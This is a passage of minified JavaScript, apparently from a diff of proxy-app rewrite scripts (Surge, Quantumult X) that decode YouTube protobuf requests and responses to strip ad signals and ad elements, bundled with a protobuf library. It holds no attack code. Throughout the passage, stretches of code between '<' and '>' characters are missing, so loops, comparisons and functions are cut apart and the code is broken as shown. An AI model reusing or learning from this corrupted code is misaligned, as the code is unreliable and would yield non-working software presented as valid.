this.ZERO;if(!Number.isSafeInteger(e))throw new Error("number is no integer");return e>0?new w(e,e/te):new w(-e,-e/te).negate()}throw new Error("unknown value "+typeof e)}isNegative(){return(this.hi&2147483648)!==0}negate(){let e=~this.hi,t=this.lo;return t?t=~t+1:e+=1,new w(t,e)}toString(){if(k)return this.toBigInt().toString();if(this.isNegative()){let e=this.negate();return"-"+ee(e.lo,e.hi)}return ee(this.lo,this.hi)}toBigInt(){return Ae(k),k.V.setInt32(0,this.lo,!0),k.V.setInt32(4,this.hi,!0),k.V.getBigInt64(0,!0)}};w.ZERO=new w(0,0);var Ue={readUnknownField:!0,readerFactory:i=>new pe(i)};function Ve(i){return i?Object.assign(Object.assign({},Ue),i):Ue}var pe=class{constructor(e,t){this.varint64=Ee,this.uint32=Re,this.buf=e,this.len=e.length,this.pos=0,this.view=new DataView(e.buffer,e.byteOffset,e.byteLength),this.textDecoder=t??new TextDecoder("utf-8",{fatal:!0,ignoreBOM:!0})}tag(){let e=this.uint32(),t=e>>>3,r=e&7;if(t<=0||r<0||r>5)throw new Error("illegal tag: field no "+t+" wire type "+r);return[t,r]}skip(e){let t=this.pos;switch(e){case g.Varint:for(;this.buf[this.pos++]&128;);break;case g.Bit64:this.pos+=4;case g.Bit32:this.pos+=4;break;case g.LengthDelimited:let r=this.uint32();this.pos+=r;break;case g.StartGroup:let n;for(;(n=this.tag()[1])!==g.EndGroup;)this.skip(n);break;default:throw new Error("cant skip wire type "+e)}return this.assertBounds(),this.buf.subarray(t,this.pos)}assertBounds(){if(this.pos>this.len)throw new RangeError("premature EOF")}int32(){return this.uint32()|0}sint32(){let e=this.uint32();return e>>>1^-(e&1)}int64(){return new w(...this.varint64())}uint64(){return new T(...this.varint64())}sint64(){let[e,t]=this.varint64(),r=-(e&1);return e=(e>>>1|(t&1)<<31)^r,t=t>>>1^r,new w(e,t)}bool(){let[e,t]=this.varint64();return e!==0||t!==0}fixed32(){return this.view.getUint32((this.pos+=4)-4,!0)}sfixed32(){return this.view.getInt32((this.pos+=4)-4,!0)}fixed64(){return new T(this.sfixed32(),this.sfixed32())}sfixed64(){return new w(this.sfixed32(),this.sfixed32())}float(){return this.view.getFloat32((this.pos+=4)-4,!0)}double(){return this.view.getFloat64((this.pos+=8)-8,!0)}bytes(){let e=this.uint32(),t=this.pos;return this.pos+=e,this.assertBounds(),this.buf.subarray(t,t+e)}string(){return this.textDecoder.decode(this.bytes())}};function m(i,e){if(!i)throw new Error(e)}var Ye=34028234663852886e22,Ze=-34028234663852886e22,ze=4294967295,Qe=2147483647,He=-2147483648;function M(i){if(typeof i!="number")throw new Error("invalid int 32: "+typeof i);if(!Number.isInteger(i)||i>Qe||ize||i<0)throw new Error("invalid uint 32: "+i)}function j(i){if(typeof i!="number")throw new Error("invalid float 32: "+typeof i);if(Number.isFinite(i)&&(i>Ye||inew ge};function Ce(i){return i?Object.assign(Object.assign({},De),i):De}var ge=class{constructor(e){this.stack=[],this.textEncoder=e??new TextEncoder,this.chunks=[],this.buf=[]}finish(){this.chunks.push(new Uint8Array(this.buf));let e=0;for(let n=0;n>>0)}raw(e){return this.buf.length&&(this.chunks.push(new Uint8Array(this.buf)),this.buf=[]),this.chunks.push(e),this}uint32(e){for(W(e);e>127;)this.buf.push(e&127|128),e=e>>>7;return this.buf.push(e),this}int32(e){return M(e),me(e,this.buf),this}bool(e){return this.buf.push(e?1:0),this}bytes(e){return this.uint32(e.byteLength),this.raw(e)}string(e){let t=this.textEncoder.encode(e);return this.uint32(t.byteLength),this.raw(t)}float(e){j(e);let t=new Uint8Array(4);return new DataView(t.buffer).setFloat32(0,e,!0),this.raw(t)}double(e){let t=new Uint8Array(8);return new DataView(t.buffer).setFloat64(0,e,!0),this.raw(t)}fixed32(e){W(e);let t=new Uint8Array(4);return new DataView(t.buffer).setUint32(0,e,!0),this.raw(t)}sfixed32(e){M(e);let t=new Uint8Array(4);return new DataView(t.buffer).setInt32(0,e,!0),this.raw(t)}sint32(e){return M(e),e=(e<<1^e>>31)>>>0,me(e,this.buf),this}sfixed64(e){let t=new Uint8Array(8),r=new DataView(t.buffer),n=w.from(e);return r.setInt32(0,n.lo,!0),r.setInt32(4,n.hi,!0),this.raw(t)}fixed64(e){let t=new Uint8Array(8),r=new DataView(t.buffer),n=T.from(e);return r.setInt32(0,n.lo,!0),r.setInt32(4,n.hi,!0),this.raw(t)}int64(e){let t=w.from(e);return H(t.lo,t.hi,this.buf),this}sint64(e){let t=w.from(e),r=t.hi>>31,n=t.lo<<1^r,s=(t.hi<<1|t.lo>>>31)^r;return H(n,s,this.buf),this}uint64(e){let t=T.from(e);return H(t.lo,t.hi,this.buf),this}};var Le={emitDefaultValues:!1,enumAsInteger:!1,useProtoFieldName:!1,prettySpaces:0},Pe={ignoreUnknownFields:!1};function $e(i){return i?Object.assign(Object.assign({},Pe),i):Pe}function Me(i){return i?Object.assign(Object.assign({},Le),i):Le}var K=Symbol.for("protobuf-ts/message-type");function be(i){let e=!1,t=[];for(let r=0;r!n.includes(o))||!r&&n.some(o=>!s.known.includes(o)))return!1;if(t<1)return!0;for(let o of s.oneofs){let a=e[o];if(!qe(a))return!1;if(a.oneofKind===void 0)continue;let f=this.fields.find(l=>l.localName===a.oneofKind);if(!f||!this.field(a[a.oneofKind],f,r,t))return!1}for(let o of this.fields)if(o.oneof===void 0&&!this.field(e[o.localName],o,r,t))return!1;return!0}field(e,t,r,n){let s=t.repeat;switch(t.kind){case"scalar":return e===void 0?t.opt:s?this.scalars(e,t.T,n,t.L):this.scalar(e,t.T,t.L);case"enum":return e===void 0?t.opt:s?this.scalars(e,u.INT32,n):this.scalar(e,u.INT32);case"message":return e===void 0?!0:s?this.messages(e,t.T(),r,n):this.message(e,t.T(),r,n);case"map":if(typeof e!="object"||e===null)return!1;if(n<2)return!0;if(!this.mapKeys(e,t.K,n))return!1;switch(t.V.kind){case"scalar":return this.scalars(Object.values(e),t.V.T,n,t.V.L);case"enum":return this.scalars(Object.values(e),u.INT32,n);case"message":return this.messages(Object.values(e),t.V.T(),r,n)}break}return!0}message(e,t,r,n){return r?t.isAssignable(e,n):t.is(e,n)}messages(e,t,r,n){if(!Array.isArray(e))return!1;if(n<2)return!0;if(r){for(let s=0;sparseInt(s)),t,r);case u.BOOL:return this.scalars(n.slice(0,r).map(s=>s=="true"?!0:s=="false"?!1:s),t,r);default:return this.scalars(n,t,r,F.STRING)}}};function R(i,e){switch(e){case F.BIGINT:return i.toBigInt();case F.NUMBER:return i.toNumber();default:return i.toString()}}var ie=class{constructor(e){this.info=e}prepare(){var e;if(this.fMap===void 0){this.fMap={};let t=(e=this.info.fields)!==null&&e!==void 0?e:[];for(let r of t)this.fMap[r.name]=r,this.fMap[r.jsonName]=r,this.fMap[r.localName]=r}}assert(e,t,r){if(!e){let n=Z(r);throw(n=="number"||n=="boolean")&&(n=r.toString()),new Error(`Cannot parse JSON ${n} for ${this.info.typeName}#${t}`)}}read(e,t,r){this.prepare();let n=[];for(let[s,o]of Object.entries(e)){let a=this.fMap[s];if(!a){if(!r.ignoreUnknownFields)throw new Error(`Found unknown field while reading ${this.info.typeName} from JSON format. JSON key: ${s}`);continue}let f=a.localName,l;if(a.oneof){if(n.includes(a.oneof))throw new Error(`Multiple members of the oneof group "${a.oneof}" of ${this.info.typeName} are present in JSON.`);n.push(a.oneof),l=t[a.oneof]={oneofKind:f}}else l=t;if(a.kind=="map"){if(o===null)continue;this.assert(Be(o),a.name,o);let h=l[f];for(let[y,p]of Object.entries(o)){this.assert(p!==null,a.name+" map value",null);let c;switch(a.V.kind){case"message":c=a.V.T().internalJsonRead(p,r);break;case"enum":if(c=this.enum(a.V.T(),p,a.name,r.ignoreUnknownFields),c===!1)continue;break;case"scalar":c=this.scalar(p,a.V.T,a.V.L,a.name);break}this.assert(c!==void 0,a.name+" map value",p);let b=y;a.K==u.BOOL&&(b=b=="true"?!0:b=="false"?!1:b),b=this.scalar(b,a.K,F.STRING,a.name).toString(),h[b]=c}}else if(a.repeat){if(o===null)continue;this.assert(Array.isArray(o),a.name,o);let h=l[f];for(let y of o){this.assert(y!==null,a.name,null);let p;switch(a.kind){case"message":p=a.T().internalJsonRead(y,r);break;case"enum":if(p=this.enum(a.T(),y,a.name,r.ignoreUnknownFields),p===!1)continue;break;case"scalar":p=this.scalar(y,a.T,a.L,a.name);break}this.assert(p!==void 0,a.name,o),h.push(p)}}else switch(a.kind){case"message":if(o===null&&a.T().typeName!="google.protobuf.Value"){this.assert(a.oneof===void 0,a.name+" (oneof member)",null);continue}l[f]=a.T().internalJsonRead(o,r,l[f]);break;case"enum":let h=this.enum(a.T(),o,a.name,r.ignoreUnknownFields);if(h===!1)continue;l[f]=h;break;case"scalar":l[f]=this.scalar(o,a.T,a.L,a.name);break}}}enum(e,t,r,n){if(e[0]=="google.protobuf.NullValue"&&m(t===null,`Unable to parse field ${this.info.typeName}#${r}, enum ${e[0]} only accepts null.`),t===null)return 0;switch(typeof t){case"number":return m(Number.isInteger(t),`Unable to parse field ${this.info.typeName}#${r}, enum can only be integral number, got ${t}.`),t;case"string":let s=t;e[2]&&t.substring(0,e[2].length)===e[2]&&(s=t.substring(e[2].length));let o=e[1][s];return typeof o>"u"&&n?!1:(m(typeof o=="number",`Unable to parse field ${this.info.typeName}#${r}, enum ${e[0]} has no value for "${t}".`),o)}m(!1,`Unable to parse field ${this.info.typeName}#${r}, cannot parse enum value from ${typeof t}".`)}scalar(e,t,r,n){let s;try{switch(t){case u.DOUBLE:case u.FLOAT:if(e===null)return 0;if(e==="NaN")return Number.NaN;if(e==="Infinity")return Number.POSITIVE_INFINITY;if(e==="-Infinity")return Number.NEGATIVE_INFINITY;if(e===""){s="empty string";break}if(typeof e=="string"&&e.trim().length!==e.length){s="extra whitespace";break}if(typeof e!="string"&&typeof e!="number")break;let o=Number(e);if(Number.isNaN(o)){s="not a number";break}if(!Number.isFinite(o)){s="too large or small";break}return t==u.FLOAT&&j(o),o;case u.INT32:case u.FIXED32:case u.SFIXED32:case u.SINT32:case u.UINT32:if(e===null)return 0;let a;if(typeof e=="number"?a=e:e===""?s="empty string":typeof e=="string"&&(e.trim().length!==e.length?s="extra whitespace":a=Number(e)),a===void 0)break;return t==u.UINT32?W(a):M(a),a;case u.INT64:case u.SFIXED64:case u.SINT64:if(e===null)return R(w.ZERO,r);if(typeof e!="number"&&typeof e!="string")break;return R(w.from(e),r);case u.FIXED64:case u.UINT64:if(e===null)return R(T.ZERO,r);if(typeof e!="number"&&typeof e!="string")break;return R(T.from(e),r);case u.BOOL:if(e===null)return!1;if(typeof e!="boolean")break;return e;case u.STRING:if(e===null)return"";if(typeof e!="string"){s="extra whitespace";break}try{encodeURIComponent(e)}catch(f){f="invalid UTF8";break}return e;case u.BYTES:if(e===null||e==="")return new Uint8Array(0);if(typeof e!="string")break;return Oe(e)}}catch(o){s=o.message}this.assert(!1,n+(s?" - "+s:""),e)}};var se=class{constructor(e){var t;this.fields=(t=e.fields)!==null&&t!==void 0?t:[]}write(e,t){let r={},n=e;for(let s of this.fields){if(!s.oneof){let l=this.field(s,n[s.localName],t);l!==void 0&&(r[t.useProtoFieldName?s.name:s.jsonName]=l);continue}let o=n[s.oneof];if(o.oneofKind!==s.localName)continue;let a=s.kind=="scalar"||s.kind=="enum"?Object.assign(Object.assign({},t),{emitDefaultValues:!0}):t,f=this.field(s,o[s.localName],a);m(f!==void 0),r[t.useProtoFieldName?s.name:s.jsonName]=f}return r}field(e,t,r){let n;if(e.kind=="map"){m(typeof t=="object"&&t!==null);let s={};switch(e.V.kind){case"scalar":for(let[f,l]of Object.entries(t)){let h=this.scalar(e.V.T,l,e.name,!1,!0);m(h!==void 0),s[f.toString()]=h}break;case"message":let o=e.V.T();for(let[f,l]of Object.entries(t)){let h=this.message(o,l,e.name,r);m(h!==void 0),s[f.toString()]=h}break;case"enum":let a=e.V.T();for(let[f,l]of Object.entries(t)){m(l===void 0||typeof l=="number");let h=this.enum(a,l,e.name,!1,!0,r.enumAsInteger);m(h!==void 0),s[f.toString()]=h}break}(r.emitDefaultValues||Object.keys(s).length>0)&&(n=s)}else if(e.repeat){m(Array.isArray(t));let s=[];switch(e.kind){case"scalar":for(let f=0;f0||r.emitDefaultValues)&&(n=s)}else switch(e.kind){case"scalar":n=this.scalar(e.T,t,e.name,e.opt,r.emitDefaultValues);break;case"enum":n=this.enum(e.T(),t,e.name,e.opt,r.emitDefaultValues,r.enumAsInteger);break;case"message":n=this.message(e.T(),t,e.name,r);break}return n}enum(e,t,r,n,s,o){if(e[0]=="google.protobuf.NullValue")return null;if(t===void 0){m(n);return}if(!(t===0&&!s&&!n))return m(typeof t=="number"),m(Number.isInteger(t)),o||!e[1].hasOwnProperty(t)?t:e[2]?e[2]+e[1][t]:e[1][t]}message(e,t,r,n){return t===void 0?n.emitDefaultValues?null:void 0:e.internalJsonWrite(t,n)}scalar(e,t,r,n,s){if(t===void 0){m(n);return}let o=s||n;switch(e){case u.INT32:case u.SFIXED32:case u.SINT32:return t===0?o?0:void 0:(M(t),t);case u.FIXED32:case u.UINT32:return t===0?o?0:void 0:(W(t),t);case u.FLOAT:j(t);case u.DOUBLE:return t===0?o?0:void 0:(m(typeof t=="number"),Number.isNaN(t)?"NaN":t===Number.POSITIVE_INFINITY?"Infinity":t===Number.NEGATIVE_INFINITY?"-Infinity":t);case u.STRING:return t===""?o?"":void 0:(m(typeof t=="string"),t);case u.BOOL:return t===!1?o?!1:void 0:(m(typeof t=="boolean"),t);case u.UINT64:case u.FIXED64:m(typeof t=="number"||typeof t=="string"||typeof t=="bigint");let a=T.from(t);return a.isZero()&&!o?void 0:a.toString();case u.INT64:case u.SFIXED64:case u.SINT64:m(typeof t=="number"||typeof t=="string"||typeof t=="bigint");let f=w.from(t);return f.isZero()&&!o?void 0:f.toString();case u.BYTES:return m(t instanceof Uint8Array),t.byteLength?Fe(t):o?"":void 0}}};function _(i,e=F.STRING){switch(i){case u.BOOL:return!1;case u.UINT64:case u.FIXED64:return R(T.ZERO,e);case u.INT64:case u.SFIXED64:case u.SINT64:return R(w.ZERO,e);case u.DOUBLE:case u.FLOAT:return 0;case u.BYTES:return new Uint8Array(0);case u.STRING:return"";default:return 0}}var oe=class{constructor(e){this.info=e}prepare(){var e;if(!this.fieldNoToField){let t=(e=this.info.fields)!==null&&e!==void 0?e:[];this.fieldNoToField=new Map(t.map(r=>[r.no,r]))}}read(e,t,r,n){this.prepare();let s=n===void 0?e.len:e.pos+n;for(;e.post.no-r.no)}}write(e,t,r){this.prepare();for(let s of this.fields){let o,a,f=s.repeat,l=s.localName;if(s.oneof){let h=e[s.oneof];if(h.oneofKind!==l)continue;o=h[l],a=!0}else o=e[l],a=!1;switch(s.kind){case"scalar":case"enum":let h=s.kind=="enum"?u.INT32:s.T;if(f)if(m(Array.isArray(o)),f==v.PACKED)this.packed(t,h,s.no,o);else for(let y of o)this.scalar(t,h,s.no,y,!0);else o===void 0?m(s.opt):this.scalar(t,h,s.no,o,a||s.opt);break;case"message":if(f){m(Array.isArray(o));for(let y of o)this.message(t,r,s.T(),s.no,y)}else this.message(t,r,s.T(),s.no,o);break;case"map":m(typeof o=="object"&&o!==null);for(let[y,p]of Object.entries(o))this.mapEntry(t,r,s,y,p);break}}let n=r.writeUnknownFields;n!==!1&&(n===!0?O.onWrite:n)(this.info.typeName,e,t)}mapEntry(e,t,r,n,s){e.tag(r.no,g.LengthDelimited),e.fork();let o=n;switch(r.K){case u.INT32:case u.FIXED32:case u.UINT32:case u.SFIXED32:case u.SINT32:o=Number.parseInt(n);break;case u.BOOL:m(n=="true"||n=="false"),o=n=="true";break}switch(this.scalar(e,r.K,1,o,!0),r.V.kind){case"scalar":this.scalar(e,r.V.T,2,s,!0);break;case"enum":this.scalar(e,u.INT32,2,s,!0);break;case"message":this.message(e,t,r.V.T(),2,s);break}e.join()}message(e,t,r,n,s){s!==void 0&&(r.internalBinaryWrite(s,e.tag(n,g.LengthDelimited).fork(),t),e.join())}scalar(e,t,r,n,s){let[o,a,f]=this.scalarInfo(t,n);(!f||s)&&(e.tag(r,o),e[a](n))}packed(e,t,r,n){if(!n.length)return;m(t!==u.BYTES&&t!==u.STRING),e.tag(r,g.LengthDelimited),e.fork();let[,s]=this.scalarInfo(t);for(let o=0;oye},{no:2,name:"browseId",kind:"scalar",T:9}])}create(e){let t={browseId:""};return globalThis.Object.defineProperty(t,K,{enumerable:!1,value:this}),e!==void 0&&C(this,t,e),t}internalBinaryRead(e,t,r,n){let s=n??this.create(),o=e.pos+t;for(;e.poswe}])}create(e){let t={};return globalThis.Object.defineProperty(t,K,{enumerable:!1,value:this}),e!==void 0&&C(this,t,e),t}internalBinaryRead(e,t,r,n){let s=n??this.create(),o=e.pos+t;for(;e.posIe}])}create(e){let t={params:[]};return globalThis.Object.defineProperty(t,K,{enumerable:!1,value:this}),e!==void 0&&C(this,t,e),t}internalBinaryRead(e,t,r,n){let s=n??this.create(),o=e.pos+t;for(;e.posnew le(e,t,r),Surge:(e,t,r)=>new ue(e,t,r)};var ce=class extends ${getFn(e,t,r){let n=ce.clientAdapter[t]||t;return super.getFn(e,n,r)}setFn(e,t,r,n){let s=ce.clientAdapter[t]||t;return super.setFn(e,s,r,n)}init(){try{this.request=this.createProxy($request),this.response=this.createProxy($response)}catch(e){this.log(e.toString())}}getVal(e){return $persistentStore.read(e)}setVal(e,t){$persistentStore.write(e,t)}msg(e=this.name,t="",r="",n){$notification.post(e,t,r,{url:n??""})}async fetch(e){return await new Promise((t,r)=>{let{method:n,body:s,bodyBytes:o,...a}=e,f=o??s,l=f instanceof Uint8Array;$httpClient[n.toLowerCase()]({...a,body:f,"binary-mode":l},(h,y,p)=>{h&&r(h);let c=l?"bodyBytes":"body";t({status:y.status||y.statusCode,headers:y.headers,[c]:p})})})}done(e){let t=e.response??e,r,n;t.bodyBytes?(r=t.bodyBytes,delete t.bodyBytes,n={...e},n.response?n.response.body=r:n.body=r):n=e,$done(n)}},ue=ce;ue.clientAdapter={bodyBytes:"body"};var P=class extends ${static transferBodyBytes(e,t){return e instanceof ArrayBuffer?t==="Uint8Array"?new Uint8Array(e):e:e instanceof Uint8Array&&t==="ArrayBuffer"?e.buffer.slice(e.byteOffset,e.byteLength+e.byteOffset):e}init(){try{this.request=this.createProxy($request),this.response=this.createProxy($response)}catch(e){this.log(e.toString())}}getFn(e,t,r){let n=P.clientAdapter[t]||t,s=super.getFn(e,n,r);return t==="bodyBytes"&&(s=P.transferBodyBytes(s,"Uint8Array")),s}setFn(e,t,r,n){let s=P.clientAdapter[t]||t,o=r;return t==="bodyBytes"&&(o=P.transferBodyBytes(o,"Uint8Array")),super.setFn(e,s,o,n)}getVal(e){return $prefs.valueForKey(e)?.replace(/\0/g,"")}setVal(e,t){$prefs.setValueForKey(e,t)}msg(e=this.name,t="",r="",n){$notify(e,t,r,{"open-url":n??""})}async fetch(e){return await new Promise(t=>{let r={url:"",method:"GET"};for(let[n,s]of Object.entries(e))n==="id"?r.sessionIndex=s:n==="bodyBytes"?r.bodyBytes=P.transferBodyBytes(s,"ArrayBuffer"):r[n]=s;e.bodyBytes&&delete r.body,$task.fetch(r).then(n=>{let s={status:200,headers:{}};for(let[o,a]of Object.entries(n))o==="sessionIndex"?s.id=a:o==="bodyBytes"?s.bodyBytes=P.transferBodyBytes(a,"Uint8Array"):o==="statusCode"?s.status=a:s[o]=a;t(s)})})}done(e){let t=e.response??e,r={};for(let[n,s]of Object.entries(t))n==="status"?r.status=`HTTP/1.1 ${s}`:n==="bodyBytes"?r.bodyBytes=P.transferBodyBytes(s,"ArrayBuffer"):r[n]=s;$done(r)}},le=P;le.clientAdapter={id:"sessionIndex",status:"statusCode"};var S=$.getInstance("YouTube",{debug:!1});var he=class{constructor(e,t){this.decoder=new TextDecoder("utf-8",{fatal:!1,ignoreBOM:!0});S.log(t),this.msgType=e,Object.assign(this,S.getJSON("YouTubeAdvertiseInfo",{whiteNo:[],blackNo:[],whiteEml:[],blackEml:["cell_divider.eml"]}))}fromBinary(e){return this.message=this.msgType.fromBinary(e),this}toBinary(){return this.msgType.toBinary(this.message)}save(){if(this.needSave){S.log("Update Config");let e={whiteNo:this.whiteNo,blackNo:this.blackNo,whiteEml:this.whiteEml,blackEml:this.blackEml};S.setJSON(e,"YouTubeAdvertiseInfo")}}done(e){this.save();let t=e.bodyBytes;this.needProcess&&(t=this.toBinary()),e.headers["Content-Encoding"]="identity",e.headers["Content-Length"]=(t?.length??0)?.toString(),S.done({response:{...e,bodyBytes:t}})}doneResponse(){this.save(),this.needProcess&&S.done({bodyBytes:this.toBinary()}),S.exit()}iterate(e={},t,r,n){let s=[];for(s.push(e);s.length;){let o=s.pop(),a=Object.keys(o);for(;a.length;){let f=a.pop();f===t?r(o,s):typeof o[f]=="object"&&(s.push(o[f]),typeof n=="function"&&n(o,s))}}}isAdvertise(e){let t=O.list(e)[0],r=t?this.handleFieldNo(t):this.handleFieldEml(e);return r&&(this.needProcess=!0),r}handleFieldNo(e){let t=e.no;if(this.whiteNo.includes(t))return!1;if(this.blackNo.includes(t))return!0;let n=this.decoder.decode(e.data).includes("pagead");return n?this.blackNo.push(t):this.whiteNo.push(t),this.needSave=!0,n}handleFieldEml(e){let t=!1,r=!0,n="";return this.iterate(e,"type",(s,o)=>{n=s.type.split("|")[0],this.whiteEml.includes(n)?t=!1:this.blackEml.includes(n)||/shorts(?!_pivot_item)/.test(n)?t=!0:r=!1,r&&(o.length=0)}),r||(this.iterate(e,"type",()=>{},(s,o)=>{let a=O.list(s);for(let f of a)if(f.data.length>1e3&&(t=this.decoder.decode(f.data).includes("pagead"),t)){o.length=0;break}}),t?this.blackEml.push(n):this.whiteEml.push(n),this.needSave=!0),t}};var Y=class extends he{constructor(e=ve,t="Request"){super(e,t)}pure(){return this.message.context.adSignalsInfo.params.length=0,this.needProcess=!0,this}};var et=new Y;try{let i=et.fromBinary(S.request.bodyBytes).pure().toBinary();S.done({bodyBytes:i})}catch(i){S.log(i.toString()),S.exit()}})(); diff --git a/Scripts/YouTube/response.js b/Scripts/YouTube/response.js new file mode 100644 index 00000000..1dfa25d0 --- /dev/null +++ b/Scripts/YouTube/response.js @@ -0,0 +1,7 @@ +// Author Maasea Build: 2023/12/15 19:46:49 +// blackEml: premium_empty_state.eml premium_spotlight_banner.eml会员相关 product_carousel.eml商品推广 statement_banner.eml会员推广 +(()=>{(function(l){function e(){}function t(){}var n=String.fromCharCode,i={}.toString,r=i.call(l.SharedArrayBuffer),f=i(),s=l.Uint8Array,o=s||Array,a=s?ArrayBuffer:o,u=a.isView||function(B){return B&&"length"in B},g=i.call(a.prototype);a=t.prototype;var k=l.TextEncoder,m=new(s?Uint16Array:o)(32);e.prototype.decode=function(B){if(!u(B)){var L=i.call(B);if(L!==g&&L!==r&&L!==f)throw TypeError("Failed to execute 'decode' on 'TextDecoder': The provided value is not of type '(ArrayBuffer or ArrayBufferView)'");B=s?new o(B):B||[]}for(var N=L="",w=0,R=B.length|0,le=R-32|0,O,W,$=0,J=0,D,j=0,S=-1;w>4){case 15:if(D=B[w=w+1|0]&255,D>>6!==2||247>6===2?J+4|0:24,W=W+256&768;case 13:case 12:D=B[w=w+1|0]&255,$<<=6,$|=(W&31)<<6|D&63,J=J+7|0,w>6===2&&$>>J&&1114112>$?(W=$,$=$-65536|0,0<=$&&(S=($>>10)+55296|0,W=($&1023)+56320|0,31>j?(m[j]=S,j=j+1|0,S=-1):(D=S,S=W,W=D))):(W>>=8,w=w-W-1|0,W=65533),$=J=0,O=w<=le?32:R-w|0;default:m[j]=W;continue;case 11:case 10:case 9:case 8:}m[j]=65533}if(N+=n(m[0],m[1],m[2],m[3],m[4],m[5],m[6],m[7],m[8],m[9],m[10],m[11],m[12],m[13],m[14],m[15],m[16],m[17],m[18],m[19],m[20],m[21],m[22],m[23],m[24],m[25],m[26],m[27],m[28],m[29],m[30],m[31]),32>j&&(N=N.slice(0,j-32|0)),w>>31,S=-1,N.length=O)N[R]=O;else{if(2047>=O)N[R]=192|O>>6;else{e:{if(55296<=O)if(56319>=O){var W=B.charCodeAt(w=w+1|0)|0;if(56320<=W&&57343>=W){if(O=(O<<10)+W-56613888|0,65535>18,N[R=R+1|0]=128|O>>12&63,N[R=R+1|0]=128|O>>6&63,N[R=R+1|0]=128|O&63;continue}break e}O=65533}else 57343>=O&&(O=65533);!le&&w<<1>12,N[R=R+1|0]=128|O>>6&63}N[R=R+1|0]=128|O&63}}return s?N.subarray(0,R):N.slice(0,R)},k||(l.TextDecoder=e,l.TextEncoder=t)})(globalThis);function ce(l){let e=typeof l;if(e=="object"){if(Array.isArray(l))return"array";if(l===null)return"null"}return e}function Ai(l){return l!==null&&typeof l=="object"&&!Array.isArray(l)}var M="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""),de=[];for(let l=0;l>4,f=r,i=2;break;case 2:t[n++]=(f&15)<<4|(r&60)>>2,f=r,i=3;break;case 3:t[n++]=(f&3)<<6|r,i=0;break}}if(i==1)throw Error("invalid base64 string.");return t.subarray(0,n)}function Vi(l){let e="",t=0,n,i=0;for(let r=0;r>2],i=(n&3)<<4,t=1;break;case 1:e+=M[i|n>>4],i=(n&15)<<2,t=2;break;case 2:e+=M[i|n>>6],e+=M[n&63],t=0;break}return t&&(e+=M[i],e+="=",t==1&&(e+="=")),e}var c;(function(l){l.symbol=Symbol.for("protobuf-ts/unknown"),l.onRead=(t,n,i,r,f)=>{(e(n)?n[l.symbol]:n[l.symbol]=[]).push({no:i,wireType:r,data:f})},l.onWrite=(t,n,i)=>{for(let{no:r,wireType:f,data:s}of l.list(n))i.tag(r,f).raw(s)},l.list=(t,n)=>{if(e(t)){let i=t[l.symbol];return n?i.filter(r=>r.no==n):i}return[]},l.last=(t,n)=>l.list(t,n).slice(-1)[0];let e=t=>t&&Array.isArray(t[l.symbol])})(c||(c={}));var d;(function(l){l[l.Varint=0]="Varint",l[l.Bit64=1]="Bit64",l[l.LengthDelimited=2]="LengthDelimited",l[l.StartGroup=3]="StartGroup",l[l.EndGroup=4]="EndGroup",l[l.Bit32=5]="Bit32"})(d||(d={}));function vi(){let l=0,e=0;for(let n=0;n<28;n+=7){let i=this.buf[this.pos++];if(l|=(i&127)<>4,!(t&128))return this.assertBounds(),[l,e];for(let n=3;n<=31;n+=7){let i=this.buf[this.pos++];if(e|=(i&127)<>>r,s=!(!(f>>>7)&&e==0),o=(s?f|128:f)&255;if(t.push(o),!s)return}let n=l>>>28&15|(e&7)<<4,i=!!(e>>3);if(t.push((i?n|128:n)&255),!!i){for(let r=3;r<31;r=r+7){let f=e>>>r,s=!!(f>>>7),o=(s?f|128:f)&255;if(t.push(o),!s)return}t.push(e>>>31&1)}}var he=(1<<16)*(1<<16);function $e(l){let e=l[0]=="-";e&&(l=l.slice(1));let t=1e6,n=0,i=0;function r(f,s){let o=Number(l.slice(f,s));i*=t,n=n*t+o,n>=he&&(i=i+(n/he|0),n=n%he)}return r(-24,-18),r(-18,-12),r(-12,-6),r(-6),[e,n,i]}function ye(l,e){if(e<=2097151)return""+(he*e+(l>>>0));let t=l&16777215,n=(l>>>24|e<<8)>>>0&16777215,i=e>>16&65535,r=t+n*6777216+i*6710656,f=n+i*8147497,s=i*2,o=1e7;r>=o&&(f+=Math.floor(r/o),r%=o),f>=o&&(s+=Math.floor(f/o),f%=o);function a(u,g){let k=u?String(u):"";return g?"0000000".slice(k.length)+k:k}return a(s,0)+a(f,s)+a(r,1)}function Ce(l,e){if(l>=0){for(;l>127;)e.push(l&127|128),l=l>>>7;e.push(l)}else{for(let t=0;t<9;t++)e.push(l&127|128),l=l>>7;e.push(1)}}function Ki(){let l=this.buf[this.pos++],e=l&127;if(!(l&128))return this.assertBounds(),e;if(l=this.buf[this.pos++],e|=(l&127)<<7,!(l&128))return this.assertBounds(),e;if(l=this.buf[this.pos++],e|=(l&127)<<14,!(l&128))return this.assertBounds(),e;if(l=this.buf[this.pos++],e|=(l&127)<<21,!(l&128))return this.assertBounds(),e;l=this.buf[this.pos++],e|=(l&15)<<28;for(let t=5;l&128&&t<10;t++)l=this.buf[this.pos++];if(l&128)throw new Error("invalid varint");return this.assertBounds(),e>>>0}function mr(){let l=new DataView(new ArrayBuffer(8));return globalThis.BigInt!==void 0&&typeof l.getBigInt64=="function"&&typeof l.getBigUint64=="function"&&typeof l.setBigInt64=="function"&&typeof l.setBigUint64=="function"?{MIN:BigInt("-9223372036854775808"),MAX:BigInt("9223372036854775807"),UMIN:BigInt("0"),UMAX:BigInt("18446744073709551615"),C:BigInt,V:l}:void 0}var I=mr();function Gi(l){if(!l)throw new Error("BigInt unavailable, see https://github.com/timostamm/protobuf-ts/blob/v1.0.8/MANUAL.md#bigint-support")}var Ji=/^-?[0-9]+$/,Fe=(1<<16)*(1<<16),me=class{constructor(e,t){this.lo=e|0,this.hi=t|0}isZero(){return this.lo==0&&this.hi==0}toNumber(){let e=this.hi*Fe+(this.lo>>>0);if(!Number.isSafeInteger(e))throw new Error("cannot convert to safe number");return e}},x=class extends me{static from(e){if(I)switch(typeof e){case"string":if(e=="0")return this.ZERO;if(e=="")throw new Error("string is no integer");e=I.C(e);case"number":if(e===0)return this.ZERO;e=I.C(e);case"bigint":if(!e)return this.ZERO;if(eI.UMAX)throw new Error("ulong too large");return I.V.setBigUint64(0,e,!0),new x(I.V.getInt32(0,!0),I.V.getInt32(4,!0))}else switch(typeof e){case"string":if(e=="0")return this.ZERO;if(e=e.trim(),!Ji.test(e))throw new Error("string is no integer");let[t,n,i]=$e(e);if(t)throw new Error("signed value");return new x(n,i);case"number":if(e==0)return 